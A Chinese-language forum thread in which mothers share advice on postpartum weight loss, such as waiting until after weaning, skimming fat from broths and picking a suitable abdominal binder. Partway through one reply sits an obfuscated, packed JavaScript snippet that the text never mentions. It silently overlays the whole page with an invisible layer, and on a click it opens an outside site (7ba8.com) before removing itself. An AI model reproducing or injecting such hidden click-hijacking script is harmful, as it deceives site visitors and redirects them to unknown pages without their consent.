姐妹们来帮忙

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Katrina01101 发表于 2012-11-16 23:24
哇！你好厲害啊，你的健康瘦身是去哪做？怎麼做的？等我生完以後也得拼命減肥，謝謝。

生完后战斗历程还远得很呢，要等结束哺乳了才能实施减肥，减肥对哺乳没好处的哦，先好好照顾你自己和宝宝吧，没准生完你就瘦了呢，每个人体质不一样，祝你一切顺利。

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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>        身材问题要分阶段处理，月子里第一周身体非常虚弱，大亏不能大补，催奶的鸡汤什么的，撇开油再喝，不然将来要长很多脂肪的。 月子里合适的收腹带很重要，不能太硬，否则伤内脏，不能太软，否则没效果。宽度要能支撑到腰部以上最好，这样月子期间还能对腰起到支撑作用。
     断奶后是减肥的最佳时期拉，刚断奶也别先着急减肥，容易伤身体，过个两周，看看恢复顺利不，如果进度不明显，再实施减肥计划。比如节食，健身游泳什么的。。。

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